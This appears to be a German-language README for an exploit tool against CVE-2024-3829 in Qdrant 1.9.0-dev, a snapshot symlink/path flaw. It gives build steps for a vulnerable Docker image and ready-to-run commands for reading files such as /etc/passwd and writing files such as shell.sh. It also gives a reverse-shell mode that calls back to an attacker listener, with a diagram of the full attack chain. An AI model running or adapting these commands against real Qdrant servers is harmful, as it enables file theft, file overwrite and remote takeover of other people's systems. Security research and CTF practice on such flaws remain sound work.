
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
Dieses Repository dokumentiert und demonstriert CVE-2024-3829 für qdrant/qdrant (v1.9.0-dev)
Die Schwachstelle ermöglicht die Manipulation von Snapshot-Archiven durch Symlink-/Pfad-Tricks. Dies ermöglicht zwei Auswirkungsklassen und eine Reverse Shell hahhaa:
Abhängig von der Umgebung können Dateischreib-Primitiven zu Codeausführung eskalieren.
1.9.0-devDiese Version ist nicht mehr im World Wide Web verfügbar (manche nennen es „Internet“).
Im Repository von qdrant verweist der NVD Nist-Bericht auf den Commit, der die anfällige v1.9.0-dev ist.
Wenn Sie diese Version für CTF / andere Zwecke auf einem Docker installieren möchten, verwenden Sie:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - Exploit für Lese-/Schreib-/Auslöse-Arbeitsablaufrequirements.txt - Python-AbhängigkeitenrequestsInstallation:
python3 -m pip install -r requirements.txt
Alle Optionen anzeigen:
python3 cve_2024_3829.py -h
Beispiele:
# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: CLI-Hilfe anzeigen-m, --mode: einer von read, write, reverse_shell (erforderlich)-tu, --target_url: Qdrant-Basis-URL (Standard im Skript)-tp, --target_port: Ziel-Qdrant-Port (Standard: 6333)-tpath, --target_path: entfernter Zielpfad (Standard: /etc/)--target_url sollte die Basis-URL ohne nachgestellten Port sein, wenn Sie --target_port separat übergeben, da das Skript URLs als <url>:<target_port>/... erstellt.read-Modus kombiniert das Skript --target_path und --target_file_name (z.B. /etc/ + passwd).write-Modus sollte --attacker_path auf eine vorhandene lokale Datei verweisen und --attacker_file_name definiert den entfernten Dateinamen.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: entfernter Ziel-Dateiname (Standard: passwd)-ai, --attacker_ip: Rückruf-/Listener-IP für Reverse-Shell-Modus-ap, --attacker_port: Rückruf-/Listener-Port (Standard: 9001)-apath, --attacker_path: lokaler Angreifer-Dateipfad für Schreibmodus (Standard: /tmp/)-af, --attacker_file_name: Dateiname, der im Schreibmodus auf dem Ziel verwendet wird (Standard: shell.sh)